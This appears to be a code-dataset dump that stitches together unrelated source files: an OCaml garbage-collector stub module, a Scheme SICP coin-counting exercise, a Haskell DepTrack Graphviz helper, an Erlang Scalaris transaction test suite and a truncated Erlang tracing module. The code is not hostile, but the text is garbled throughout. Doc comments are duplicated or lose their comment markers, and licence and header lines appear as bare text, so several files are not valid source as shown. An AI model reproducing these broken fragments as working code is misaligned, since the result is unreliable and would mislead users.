Should be called after Gc.run to obtain the current number
of words that are reachable from roots .
Should be called after Gc.run to obtain the current number
of words that are reachable from roots. *)
external free_words : unit -> int = "caml_gc_free_words"
* Return the current number of free words in the heap .
Should be called after Gc.run to obtain the current number
of words that are still available in the heap .
Should be called after Gc.run to obtain the current number
of words that are still available in the heap. *)
external used_stack_size : unit -> int = "caml_gc_used_stack_size"
(** Return the number of words currently used in the stack. *)
external available_stack_size : unit -> int = "caml_gc_available_stack_size"
(** Return the number of words still available in the stack. *)
| null | https://raw.githubusercontent.com/stevenvar/OMicroB/e4324d0736ac677b3086741dfdefb0e46775642b/src/stdlib/gc.ml | ocaml | * Manually run the garbage collector
* Return the number of collection run since the program starts
* Return the number of words currently used in the stack.
* Return the number of words still available in the stack. | external run : unit -> unit = "caml_gc_run"
external collections : unit -> int = "caml_gc_collections"
external live_words : unit -> int = "caml_gc_live_words"
* Return the current number of word used in the heap .
Should be called after Gc.run to obtain the current number
of words that are reachable from roots .
Should be called after Gc.run to obtain the current number
of words that are reachable from roots. *)
external free_words : unit -> int = "caml_gc_free_words"
* Return the current number of free words in the heap .
Should be called after Gc.run to obtain the current number
of words that are still available in the heap .
Should be called after Gc.run to obtain the current number
of words that are still available in the heap. *)
external used_stack_size : unit -> int = "caml_gc_used_stack_size"
external available_stack_size : unit -> int = "caml_gc_available_stack_size"
|
357909f9606a2a56752058acfd715bf593263720934b21e66401fa772c1b9caa | kana-sama/sicp | 2.19 - coins with list.scm | (define us-coins (list 50 25 10 5 1))
(define uk-coins (list 100 50 20 10 5 2 1 0.5))
(define (count-coins amount coins)
(cond ((zero? amount) 1)
((negative? amount) 0)
((null? coins) 0)
(else (+ (count-coins amount (cdr coins))
(count-coins (- amount (car coins)) coins)))))
(print (count-coins 100 us-coins))
| null | https://raw.githubusercontent.com/kana-sama/sicp/fc637d4b057cfcae1bae3d72ebc08e1af52e619d/2/2.19%20-%20coins%20with%20list.scm | scheme | (define us-coins (list 50 25 10 5 1))
(define uk-coins (list 100 50 20 10 5 2 1 0.5))
(define (count-coins amount coins)
(cond ((zero? amount) 1)
((negative? amount) 0)
((null? coins) 0)
(else (+ (count-coins amount (cdr coins))
(count-coins (- amount (car coins)) coins)))))
(print (count-coins 100 us-coins))
| |
b28a8aa357381e6bba7ae432daff3db955c1046a90c25e3657ce92ed547d8246 | lucasdicioccio/deptrack-project | Dot.hs | | Module providing helpers to get a Dot representation of tracked
dependencies during a DepTrack computation .
--
This module currently uses ' Text . Dot ' from ' dotgen ' as a Dot generator , this
-- choice may change in the future.
module DepTrack.Dot (DotDescription(..), dotifyGraphWith, dotify) where
import DepTrack (DepTrackT, GraphData, buildGraph, evalDepForest1)
import Data.Graph (edges, vertices)
import qualified Text.Dot as Dot
| A type to hide a Dot program .
newtype DotDescription = DotDescription { getDotDescription :: String }
deriving (Eq, Ord, Show)
| Dotify some pre - calculed GraphData .
dotifyGraphWith
:: (x -> [(String,String)])
^ Function to return a set of graphviz key - value attributes ( e.g. , ( " shape","egg " ) )
-> GraphData x k
-- ^ The graph data to represent.
-> DotDescription
dotifyGraphWith attributes (g,lookupF,_) =
DotDescription $ Dot.showDot dotted
where
dotted :: Dot.Dot ()
dotted = do
let node v = y where (y,_,_) = lookupF v
let vs = vertices g
let es = filter (uncurry (/=)) $ edges g
mapM_ (\i -> Dot.userNode (Dot.userNodeId i) (attributes (node i))) vs
mapM_ (\(i,j) -> Dot.edge (Dot.userNodeId i) (Dot.userNodeId j) []) es
| Graphs the dependenciees of a DepTrack computation .
--
Throws away the result and only keep the DotDescription .
dotify
:: (Monad m, Ord k, Show x)
=> (x -> [(String,String)])
^ Function to return a set of graphviz key - value attributes ( e.g. , ( " shape","egg " ) )
-> (x -> k)
-- ^ Function to identify every node in the graph uniquely. If this function
is non injective you may confuse two distinct nodes as a same node .
-> DepTrackT x m a
-- ^ The computation to graph.
-> m DotDescription
dotify labelsF keyF x =
dotifyGraphWith labelsF . buildGraph keyF . snd <$> evalDepForest1 x
| null | https://raw.githubusercontent.com/lucasdicioccio/deptrack-project/cd3d59a796815af8ae8db32c47b1e1cdc209ac71/deptrack-dot/src/DepTrack/Dot.hs | haskell |
choice may change in the future.
^ The graph data to represent.
^ Function to identify every node in the graph uniquely. If this function
^ The computation to graph. | | Module providing helpers to get a Dot representation of tracked
dependencies during a DepTrack computation .
This module currently uses ' Text . Dot ' from ' dotgen ' as a Dot generator , this
module DepTrack.Dot (DotDescription(..), dotifyGraphWith, dotify) where
import DepTrack (DepTrackT, GraphData, buildGraph, evalDepForest1)
import Data.Graph (edges, vertices)
import qualified Text.Dot as Dot
| A type to hide a Dot program .
newtype DotDescription = DotDescription { getDotDescription :: String }
deriving (Eq, Ord, Show)
| Dotify some pre - calculed GraphData .
dotifyGraphWith
:: (x -> [(String,String)])
^ Function to return a set of graphviz key - value attributes ( e.g. , ( " shape","egg " ) )
-> GraphData x k
-> DotDescription
dotifyGraphWith attributes (g,lookupF,_) =
DotDescription $ Dot.showDot dotted
where
dotted :: Dot.Dot ()
dotted = do
let node v = y where (y,_,_) = lookupF v
let vs = vertices g
let es = filter (uncurry (/=)) $ edges g
mapM_ (\i -> Dot.userNode (Dot.userNodeId i) (attributes (node i))) vs
mapM_ (\(i,j) -> Dot.edge (Dot.userNodeId i) (Dot.userNodeId j) []) es
| Graphs the dependenciees of a DepTrack computation .
Throws away the result and only keep the DotDescription .
dotify
:: (Monad m, Ord k, Show x)
=> (x -> [(String,String)])
^ Function to return a set of graphviz key - value attributes ( e.g. , ( " shape","egg " ) )
-> (x -> k)
is non injective you may confuse two distinct nodes as a same node .
-> DepTrackT x m a
-> m DotDescription
dotify labelsF keyF x =
dotifyGraphWith labelsF . buildGraph keyF . snd <$> evalDepForest1 x
|
fe0e3bf60732618af36ff0aeb0182aff5fb45439fcacd9c1bae8d02326c71530 | erlangonrails/devdb | transaction_SUITE.erl | Copyright 2008 , 2010 fuer Informationstechnik Berlin
%
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
% you may not use this file except in compliance with the License.
% You may obtain a copy of the License at
%
% -2.0
%
% Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
% See the License for the specific language governing permissions and
% limitations under the License.
%%%-------------------------------------------------------------------
%%% File : transaction_SUITE.erl
Author : < >
%%% Description : Unit tests for src/transstore/*.erl
%%%
Created : 14 Mar 2008 by < >
%%%-------------------------------------------------------------------
-module(transaction_SUITE).
-author('').
-vsn('$Id: transaction_SUITE.erl 906 2010-07-23 14:09:20Z schuett $').
-compile(export_all).
-include("unittest.hrl").
all() ->
[read, write, write_read, write2_read2, tfuns, multi_write].
suite() ->
[
{timetrap, {seconds, 40}}
].
init_per_suite(Config) ->
file:set_cwd("../bin"),
Pid = unittest_helper:make_ring(4),
[{wrapper_pid, Pid} | Config].
end_per_suite(Config) ->
%error_logger:tty(false),
{value, {wrapper_pid, Pid}} = lists:keysearch(wrapper_pid, 1, Config),
unittest_helper:stop_ring(Pid),
ok.
read(_Config) ->
?equals(cs_api:read("UnknownKey"), {fail, not_found}),
ok.
write(_Config) ->
?equals(transaction_api:single_write("WriteKey", "Value"), commit),
ok.
write_read(_Config) ->
?equals(transaction_api:single_write("Key", "Value"), commit),
?equals(transaction_api:quorum_read("Key"), {"Value", 0}),
ok.
write2_read2(_Config) ->
KeyA = "KeyA",
KeyB = "KeyB",
ValueA = "Value1",
ValueB = "Value2",
SuccessFun = fun(X) -> {success, X} end,
FailureFun = fun(Reason)-> {failure, Reason} end,
TWrite2 =
fun(TransLog)->
{ok, TransLog1} = transaction_api:write(KeyA, ValueA, TransLog),
{ok, TransLog2} = transaction_api:write(KeyB, ValueB, TransLog1),
{{ok, ok}, TransLog2}
end,
TRead2 =
fun(X)->
Res1 = transaction_api:read(KeyA, X),
ct:pal("Res1: ~p~n", [Res1]),
{{value, _ValA}, Y} = Res1,
Res2 = transaction_api:read(KeyB, Y),
ct:pal("Res2: ~p~n", [Res2]),
{{value, _ValB}, TransLog2} = Res2,
{{ok, ok}, TransLog2}
end,
{ResultW, TLogW} = transaction_api:do_transaction(TWrite2, SuccessFun, FailureFun),
ct:pal("Write TLOG: ~p~n", [TLogW]),
?equals(ResultW, success),
{ResultR, TLogR} = transaction_api:do_transaction(TRead2, SuccessFun, FailureFun),
ct:pal("Read TLOG: ~p~n", [TLogR]),
?equals(ResultR, success),
ok.
multi_write(_Config) ->
Key = "MultiWrite",
Value1 = "Value1",
Value2 = "Value2",
TFun = fun(TransLog)->
{ok, TransLog1} = transaction_api:write(Key, Value1, TransLog),
{ok, TransLog2} = transaction_api:write(Key, Value2, TransLog1),
{{ok, ok}, TransLog2}
end,
SuccessFun = fun(X) ->
{success, X}
end,
FailureFun = fun(Reason)->
{failure, Reason}
end,
{Result, _} = transaction_api:do_transaction(TFun, SuccessFun, FailureFun),
?equals(Result, success),
ok.
tfuns(_Config) ->
ok.
| null | https://raw.githubusercontent.com/erlangonrails/devdb/0e7eaa6bd810ec3892bfc3d933439560620d0941/dev/scalaris/test/transaction_SUITE.erl | erlang |
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-------------------------------------------------------------------
File : transaction_SUITE.erl
Description : Unit tests for src/transstore/*.erl
-------------------------------------------------------------------
error_logger:tty(false), | Copyright 2008 , 2010 fuer Informationstechnik Berlin
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
distributed under the License is distributed on an " AS IS " BASIS ,
Author : < >
Created : 14 Mar 2008 by < >
-module(transaction_SUITE).
-author('').
-vsn('$Id: transaction_SUITE.erl 906 2010-07-23 14:09:20Z schuett $').
-compile(export_all).
-include("unittest.hrl").
all() ->
[read, write, write_read, write2_read2, tfuns, multi_write].
suite() ->
[
{timetrap, {seconds, 40}}
].
init_per_suite(Config) ->
file:set_cwd("../bin"),
Pid = unittest_helper:make_ring(4),
[{wrapper_pid, Pid} | Config].
end_per_suite(Config) ->
{value, {wrapper_pid, Pid}} = lists:keysearch(wrapper_pid, 1, Config),
unittest_helper:stop_ring(Pid),
ok.
read(_Config) ->
?equals(cs_api:read("UnknownKey"), {fail, not_found}),
ok.
write(_Config) ->
?equals(transaction_api:single_write("WriteKey", "Value"), commit),
ok.
write_read(_Config) ->
?equals(transaction_api:single_write("Key", "Value"), commit),
?equals(transaction_api:quorum_read("Key"), {"Value", 0}),
ok.
write2_read2(_Config) ->
KeyA = "KeyA",
KeyB = "KeyB",
ValueA = "Value1",
ValueB = "Value2",
SuccessFun = fun(X) -> {success, X} end,
FailureFun = fun(Reason)-> {failure, Reason} end,
TWrite2 =
fun(TransLog)->
{ok, TransLog1} = transaction_api:write(KeyA, ValueA, TransLog),
{ok, TransLog2} = transaction_api:write(KeyB, ValueB, TransLog1),
{{ok, ok}, TransLog2}
end,
TRead2 =
fun(X)->
Res1 = transaction_api:read(KeyA, X),
ct:pal("Res1: ~p~n", [Res1]),
{{value, _ValA}, Y} = Res1,
Res2 = transaction_api:read(KeyB, Y),
ct:pal("Res2: ~p~n", [Res2]),
{{value, _ValB}, TransLog2} = Res2,
{{ok, ok}, TransLog2}
end,
{ResultW, TLogW} = transaction_api:do_transaction(TWrite2, SuccessFun, FailureFun),
ct:pal("Write TLOG: ~p~n", [TLogW]),
?equals(ResultW, success),
{ResultR, TLogR} = transaction_api:do_transaction(TRead2, SuccessFun, FailureFun),
ct:pal("Read TLOG: ~p~n", [TLogR]),
?equals(ResultR, success),
ok.
multi_write(_Config) ->
Key = "MultiWrite",
Value1 = "Value1",
Value2 = "Value2",
TFun = fun(TransLog)->
{ok, TransLog1} = transaction_api:write(Key, Value1, TransLog),
{ok, TransLog2} = transaction_api:write(Key, Value2, TransLog1),
{{ok, ok}, TransLog2}
end,
SuccessFun = fun(X) ->
{success, X}
end,
FailureFun = fun(Reason)->
{failure, Reason}
end,
{Result, _} = transaction_api:do_transaction(TFun, SuccessFun, FailureFun),
?equals(Result, success),
ok.
tfuns(_Config) ->
ok.
|
60494a564f342d37f929871dca7d36a59e4d1abaae348ef14df7f06eab6d0f97 | epm/eper | prfTrc.erl | -*- erlang - indent - level : 2 -*-
%%%-------------------------------------------------------------------
%%% File : prfTrc.erl
Author : Mats < locmacr@mwlx084 >
%%% Description :
%%%
Created : 18 Jan 2007 by Mats < locmacr@mwlx084 >
%%%-------------------------------------------------------------------
-module(prfTrc).
-export([collect/1,config/2]).
%% internal
-export([active/1,idle/0,wait_for_local/1]).
-import(lists,[reverse/1,foreach/2,map/2]).
-import(dict,[fetch/2
, store/3
, from_list/1]).
, : display(process_info(self(),current_function ) ) ) .
%% states
-define(ACTIVE , ?MODULE:active).
-define(IDLE , ?MODULE:idle).
-define(WAIT_FOR_LOCAL , ?MODULE:wait_for_local).
-include("log.hrl").
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% runs in the prfTarg process
collect(LD) -> {LD, {?MODULE, {tick,now()}}}.
config(LD,{start,Conf}) -> start(Conf),LD;
config(LD,{stop,Args}) -> stop(Args),LD;
config(LD,Data) -> ?log([unknown,{data,Data}]), LD.
start(Conf) ->
assert(prfTrc) ! {start, Conf}.
stop(Args) ->
assert(prfTrc) ! {stop,Args}.
assert(Reg) ->
case whereis(Reg) of
Pid when is_pid(Pid) -> Pid;
undefined -> register(Reg,Pid=spawn_link(fun init/0)),
Pid
end.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%% trace control process
%%% LD = idle | {host_pid,timer,consumer,conf}
%%% Conf = {time,flags,rtps,procs,where}
Where = { term_buffer,{Pid , Count , MaxQueue , MaxSize } } |
{ term_stream,{Pid , Count , MaxQueue , MaxSize } } |
%%% {file,File,Size,Count} |
{ ip , Port , Queue }
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
init() ->
process_flag(trap_exit,true),
?IDLE().
idle() ->
receive
{start,{HostPid,Conf}} -> ?ACTIVE(start_trace(HostPid,Conf));
{stop,{HostPid,_}} -> HostPid ! {prfTrc,{not_started,idle,self()}},
?IDLE();
{'EXIT',_,exiting} -> ?IDLE();
X -> ?log({weird_in,X}), ?IDLE()
end.
active({not_started,R,HostPid}) ->
HostPid ! {prfTrc,{not_started,R,self()}},
?IDLE();
active(LD) ->
Cons = fetch(consumer,LD),
HostPid = fetch(host_pid,LD),
receive
{start,{Pid,_}} -> Pid ! {prfTrc,{already_started,self()}},?ACTIVE(LD);
{stop,_} -> remote_stop(Cons,LD),?WAIT_FOR_LOCAL(Cons);
{'EXIT',HostPid,_} -> remote_stop(Cons,LD),?WAIT_FOR_LOCAL(Cons);
{local_stop,R} -> local_stop(HostPid,LD,R),?WAIT_FOR_LOCAL(Cons);
{'EXIT',Cons,R} -> local_stop(HostPid,LD,R),?IDLE();
X -> ?log({weird_in,X}), ?ACTIVE(LD)
end.
wait_for_local(Consumer) when is_pid(Consumer) ->
receive
{'EXIT',Consumer,_} -> ?IDLE();
X -> ?log({weird_in,X}), ?WAIT_FOR_LOCAL(Consumer)
end.
local_stop(HostPid, LD, R) ->
stop_trace(LD),
unlink(HostPid),
HostPid ! {prfTrc,{stopping,self(),R}}.
remote_stop(Consumer, LD) ->
stop_trace(LD),
consumer_stop(Consumer).
stop_trace(LD) ->
erlang:trace(all,false,fetch(flags,fetch(conf,LD))),
unset_tps().
start_trace(HostPid,Conf) ->
case {maybe_load_rtps(fetch(rtps,Conf)),is_message_trace(fetch(flags,Conf))} of
{[],false}-> {not_started,no_modules,HostPid};
{Rtps,_} -> start_trace(from_list([{host_pid,HostPid},{conf,store(rtps,Rtps,Conf)}]))
end.
maybe_load_rtps(Rtps) ->
lists:foldl(fun maybe_load_rtp/2, [], Rtps).
maybe_load_rtp({{M,F,A},_MatchSpec,_Flags} = Rtp,O) ->
try
case code:which(M) of
preloaded -> ok;
non_existing -> throw(non_existing_module);
L when is_list(L) -> [c:l(M) || false == code:is_loaded(M)]
end,
[Rtp|O]
catch
_:R -> ?log({no_such_function,{R,{M,F,A}}}), O
end.
is_message_trace(Flags) ->
(lists:member(send,Flags) orelse lists:member('receive',Flags)).
start_trace(LD) ->
Conf = fetch(conf,LD),
HostPid = fetch(host_pid,LD),
link(HostPid),
Consumer = consumer(fetch(where,Conf),fetch(time,Conf)),
HostPid ! {prfTrc,{starting,self(),Consumer}},
Procs = mk_prc(fetch(procs,Conf)),
Flags = [{tracer,real_consumer(Consumer)}|fetch(flags,Conf)],
unset_tps(),
erlang:trace(Procs,true,Flags),
untrace(family(redbug)++family(prfTrc),Flags),
set_tps(fetch(rtps,Conf)),
store(consumer,Consumer,LD).
family(Daddy) ->
try D = whereis(Daddy),
[D|element(2,process_info(D,links))]
catch _:_->[]
end.
untrace(Pids,Flags) ->
[try erlang:trace(P,false,Flags)
catch _:R-> erlang:display({R,process_info(P),erlang:trace_info(P,flags)})
end || P <- Pids,
is_pid(P),
node(P)==node(),
{flags,[]}=/=erlang:trace_info(P,flags)].
unset_tps() ->
erlang:trace_pattern({'_','_','_'},false,[local]),
erlang:trace_pattern({'_','_','_'},false,[global]).
set_tps(TPs) -> foreach(fun set_tps_f/1,TPs).
set_tps_f({MFA,MatchSpec,Flags}) -> erlang:trace_pattern(MFA,MatchSpec,Flags).
mk_prc(all) -> all;
mk_prc(Pid) when is_pid(Pid) -> Pid;
mk_prc({pid,P1,P2}) when is_integer(P1), is_integer(P2) -> c:pid(0,P1,P2);
mk_prc(Reg) when is_atom(Reg) ->
case whereis(Reg) of
undefined -> exit({no_such_process, Reg});
Pid when is_pid(Pid) -> Pid
end.
real_consumer(C) ->
Mon = erlang:monitor(process,C),
C ! {show_port, self()},
receive
{'DOWN',Mon,_,C,R} -> exit({no_local_consumer,R});
Port -> erlang:demonitor(Mon,[flush]),
Port
end.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
consumer({term_buffer,Term},Time) -> consumer_pid(Term,yes,Time);
consumer({term_stream,Term},Time) -> consumer_pid(Term,no,Time);
consumer({file,File,Size,Count},Time) -> consumer_file(File,Size,Count,Time);
consumer({ip,Port,Queue},Time) -> consumer_ip(Port,Queue,Time).
consumer_stop(Pid) -> Pid ! stop.
consumer_pid({Pid,Cnt,MaxQueue,MaxSize},Buf,Time) ->
Conf =
from_list([{daddy,self()},
{count,Cnt},
{time,Time},
{maxsize,MaxSize},
{maxqueue,MaxQueue},
{where,Pid},
{buffering,Buf}]),
spawn_link(fun() -> init_local_pid(Conf) end).
consumer_file(File,Size,WrapCount,Time) ->
Conf =
from_list([{style,file}
, {file,File}
, {size,Size}
, {wrap_count,WrapCount}
, {time,Time}
, {daddy, self()}]),
spawn_link(fun() -> init_local_port(Conf) end).
consumer_ip(Port,QueueSize,Time) ->
Conf =
from_list([{style,ip}
, {port_no,Port}
, {queue_size,QueueSize}
, {time,Time}
, {daddy, self()}]),
spawn_link(fun() -> init_local_port(Conf) end).
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% local consumer process for port-style tracing.
writes trace messages directly to an erlang port .
%%% flushes and quits when;
%%% it gets a stop from the controller
%%% timeout
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
init_local_port(Conf) ->
erlang:start_timer(fetch(time,Conf),self(),fetch(daddy,Conf)),
Port = mk_port(Conf),
loop_local_port(store(port,Port,Conf)).
loop_local_port(Conf) ->
Daddy = fetch(daddy, Conf),
receive
{show_port,Pid} -> Pid ! fetch(port,Conf),
loop_local_port(Conf);
stop -> dbg:flush_trace_port(),
exit(local_done);
{timeout,_,Daddy} -> Daddy ! {local_stop,timeout},
dbg:flush_trace_port(),
exit(timeout)
end.
mk_port(Conf) ->
case fetch(style,Conf) of
ip ->
Port = fetch(port_no,Conf),
QueueSize = fetch(queue_size,Conf),
(dbg:trace_port(ip,{Port, QueueSize}))();
file ->
File = fetch(file,Conf),
WrapCount = fetch(wrap_count,Conf),
file size ( per file ) in MB .
Suffix = ".trc",
(dbg:trace_port(file,{File, wrap, Suffix, WrapSize, WrapCount}))()
end.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%% local consumer process for pid-style tracing.
%%% buffers trace messages, and flushes them when;
%%% it gets a stop from the controller
%%% reaches count=0
%%% timeout
%%% message queue too long
%%% a trace message is too big
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%
-record(ld,{daddy,where,count,maxqueue,maxsize}).
init_local_pid(Conf) ->
erlang:start_timer(fetch(time,Conf),self(),fetch(daddy,Conf)),
loop_lp({#ld{daddy=fetch(daddy,Conf),
where=fetch(where,Conf),
maxsize=fetch(maxsize,Conf),
maxqueue=fetch(maxqueue,Conf)},
buffering(fetch(buffering,Conf)),
fetch(count,Conf)}).
buffering(yes) -> [];
buffering(no) -> no.
loop_lp({LD,Buff,Count}=State) ->
maybe_exit(msg_queue,LD),
maybe_exit(msg_count,{LD,Buff,Count}),
receive
{timeout,_,Daddy} -> Daddy ! {local_stop,timeout},
flush(LD,Buff),exit(timeout);
stop -> flush(LD,Buff),exit(local_done);
{show_port,Pid} -> Pid ! self(),
loop_lp(State);
{trace_ts,Pid,Tag,A,TS} -> loop_lp(msg(LD,Buff,Count,{Tag,Pid,TS,A}));
{trace_ts,Pid,Tag,A,B,TS} -> loop_lp(msg(LD,Buff,Count,{Tag,Pid,TS,{A,B}}))
end.
msg(LD,Buff,Count,Item) ->
maybe_exit(msg_size,{LD,Item}),
{LD,buff(Buff,LD,Item),Count-1}.
buff(no,LD,Item) -> send_one(LD,Item),no;
buff(Buff,_LD,Item) -> [Item|Buff].
maybe_exit(msg_count,{LD,Buff,0}) ->
flush(LD,Buff),
exit(msg_count);
maybe_exit(msg_queue,#ld{maxqueue=MQ}) ->
case process_info(self(),message_queue_len) of
{_,Q} when Q > MQ -> exit({msg_queue,Q});
_ -> ok
end;
maybe_exit(msg_size,{#ld{maxsize=MS},{call,_,_,{_,B}}}) when is_binary(B)->
case MS < (BS=size(B)) of
true -> exit({msg_size,BS});
_ -> ok
end;
maybe_exit(_,_) -> ok.
send_one(LD,Msg) -> LD#ld.where ! [msg(Msg)].
flush(_,no) -> ok;
flush(LD,Buffer) -> LD#ld.where ! map(fun msg/1, reverse(Buffer)).
msg({'send',Pid,TS,{Msg,To}}) -> {'send',{Msg,pi(To)},pi(Pid),ts(TS)};
msg({'receive',Pid,TS,Msg}) -> {'recv',Msg, pi(Pid),ts(TS)};
msg({'return_from',Pid,TS,{MFA,V}}) -> {'retn',{MFA,V}, pi(Pid),ts(TS)};
msg({'call',Pid,TS,{MFA,B}}) -> {'call',{MFA,B}, pi(Pid),ts(TS)};
msg({'call',Pid,TS,MFA}) -> {'call',{MFA,<<>>}, pi(Pid),ts(TS)}.
pi(P) when is_pid(P) ->
try process_info(P, registered_name) of
[] -> case process_info(P, initial_call) of
{_, {proc_lib,init_p,5}} -> proc_lib:translate_initial_call(P);
{_,MFA} -> MFA;
undefined -> dead
end;
{_,Nam} -> Nam;
undefined -> dead
catch
error:badarg -> node(P)
end;
pi(P) when is_port(P) ->
{name,N} = erlang:port_info(P,name),
[Hd|_] = string:tokens(N," "),
reverse(hd(string:tokens(reverse(Hd),"/")));
pi(R) when is_atom(R) -> R;
pi({R,Node}) when is_atom(R), Node == node() -> R;
pi({R, Node}) when is_atom(R), is_atom(Node) -> {R, Node}.
ts(Nw) ->
{_,{H,M,S}} = calendar:now_to_local_time(Nw),
{H,M,S,element(3,Nw)}.
| null | https://raw.githubusercontent.com/epm/eper/c152d6dfea58d5ea7bdf99fc9217d8444ac6b327/src/prfTrc.erl | erlang | -------------------------------------------------------------------
File : prfTrc.erl
Description :
-------------------------------------------------------------------
internal
states
runs in the prfTarg process
trace control process
LD = idle | {host_pid,timer,consumer,conf}
Conf = {time,flags,rtps,procs,where}
{file,File,Size,Count} |
local consumer process for port-style tracing.
flushes and quits when;
it gets a stop from the controller
timeout
local consumer process for pid-style tracing.
buffers trace messages, and flushes them when;
it gets a stop from the controller
reaches count=0
timeout
message queue too long
a trace message is too big
| -*- erlang - indent - level : 2 -*-
Author : Mats < locmacr@mwlx084 >
Created : 18 Jan 2007 by Mats < locmacr@mwlx084 >
-module(prfTrc).
-export([collect/1,config/2]).
-export([active/1,idle/0,wait_for_local/1]).
-import(lists,[reverse/1,foreach/2,map/2]).
-import(dict,[fetch/2
, store/3
, from_list/1]).
, : display(process_info(self(),current_function ) ) ) .
-define(ACTIVE , ?MODULE:active).
-define(IDLE , ?MODULE:idle).
-define(WAIT_FOR_LOCAL , ?MODULE:wait_for_local).
-include("log.hrl").
collect(LD) -> {LD, {?MODULE, {tick,now()}}}.
config(LD,{start,Conf}) -> start(Conf),LD;
config(LD,{stop,Args}) -> stop(Args),LD;
config(LD,Data) -> ?log([unknown,{data,Data}]), LD.
start(Conf) ->
assert(prfTrc) ! {start, Conf}.
stop(Args) ->
assert(prfTrc) ! {stop,Args}.
assert(Reg) ->
case whereis(Reg) of
Pid when is_pid(Pid) -> Pid;
undefined -> register(Reg,Pid=spawn_link(fun init/0)),
Pid
end.
Where = { term_buffer,{Pid , Count , MaxQueue , MaxSize } } |
{ term_stream,{Pid , Count , MaxQueue , MaxSize } } |
{ ip , Port , Queue }
init() ->
process_flag(trap_exit,true),
?IDLE().
idle() ->
receive
{start,{HostPid,Conf}} -> ?ACTIVE(start_trace(HostPid,Conf));
{stop,{HostPid,_}} -> HostPid ! {prfTrc,{not_started,idle,self()}},
?IDLE();
{'EXIT',_,exiting} -> ?IDLE();
X -> ?log({weird_in,X}), ?IDLE()
end.
active({not_started,R,HostPid}) ->
HostPid ! {prfTrc,{not_started,R,self()}},
?IDLE();
active(LD) ->
Cons = fetch(consumer,LD),
HostPid = fetch(host_pid,LD),
receive
{start,{Pid,_}} -> Pid ! {prfTrc,{already_started,self()}},?ACTIVE(LD);
{stop,_} -> remote_stop(Cons,LD),?WAIT_FOR_LOCAL(Cons);
{'EXIT',HostPid,_} -> remote_stop(Cons,LD),?WAIT_FOR_LOCAL(Cons);
{local_stop,R} -> local_stop(HostPid,LD,R),?WAIT_FOR_LOCAL(Cons);
{'EXIT',Cons,R} -> local_stop(HostPid,LD,R),?IDLE();
X -> ?log({weird_in,X}), ?ACTIVE(LD)
end.
wait_for_local(Consumer) when is_pid(Consumer) ->
receive
{'EXIT',Consumer,_} -> ?IDLE();
X -> ?log({weird_in,X}), ?WAIT_FOR_LOCAL(Consumer)
end.
local_stop(HostPid, LD, R) ->
stop_trace(LD),
unlink(HostPid),
HostPid ! {prfTrc,{stopping,self(),R}}.
remote_stop(Consumer, LD) ->
stop_trace(LD),
consumer_stop(Consumer).
stop_trace(LD) ->
erlang:trace(all,false,fetch(flags,fetch(conf,LD))),
unset_tps().
start_trace(HostPid,Conf) ->
case {maybe_load_rtps(fetch(rtps,Conf)),is_message_trace(fetch(flags,Conf))} of
{[],false}-> {not_started,no_modules,HostPid};
{Rtps,_} -> start_trace(from_list([{host_pid,HostPid},{conf,store(rtps,Rtps,Conf)}]))
end.
maybe_load_rtps(Rtps) ->
lists:foldl(fun maybe_load_rtp/2, [], Rtps).
maybe_load_rtp({{M,F,A},_MatchSpec,_Flags} = Rtp,O) ->
try
case code:which(M) of
preloaded -> ok;
non_existing -> throw(non_existing_module);
L when is_list(L) -> [c:l(M) || false == code:is_loaded(M)]
end,
[Rtp|O]
catch
_:R -> ?log({no_such_function,{R,{M,F,A}}}), O
end.
is_message_trace(Flags) ->
(lists:member(send,Flags) orelse lists:member('receive',Flags)).
start_trace(LD) ->
Conf = fetch(conf,LD),
HostPid = fetch(host_pid,LD),
link(HostPid),
Consumer = consumer(fetch(where,Conf),fetch(time,Conf)),
HostPid ! {prfTrc,{starting,self(),Consumer}},
Procs = mk_prc(fetch(procs,Conf)),
Flags = [{tracer,real_consumer(Consumer)}|fetch(flags,Conf)],
unset_tps(),
erlang:trace(Procs,true,Flags),
untrace(family(redbug)++family(prfTrc),Flags),
set_tps(fetch(rtps,Conf)),
store(consumer,Consumer,LD).
family(Daddy) ->
try D = whereis(Daddy),
[D|element(2,process_info(D,links))]
catch _:_->[]
end.
untrace(Pids,Flags) ->
[try erlang:trace(P,false,Flags)
catch _:R-> erlang:display({R,process_info(P),erlang:trace_info(P,flags)})
end || P <- Pids,
is_pid(P),
node(P)==node(),
{flags,[]}=/=erlang:trace_info(P,flags)].
unset_tps() ->
erlang:trace_pattern({'_','_','_'},false,[local]),
erlang:trace_pattern({'_','_','_'},false,[global]).
set_tps(TPs) -> foreach(fun set_tps_f/1,TPs).
set_tps_f({MFA,MatchSpec,Flags}) -> erlang:trace_pattern(MFA,MatchSpec,Flags).
mk_prc(all) -> all;
mk_prc(Pid) when is_pid(Pid) -> Pid;
mk_prc({pid,P1,P2}) when is_integer(P1), is_integer(P2) -> c:pid(0,P1,P2);
mk_prc(Reg) when is_atom(Reg) ->
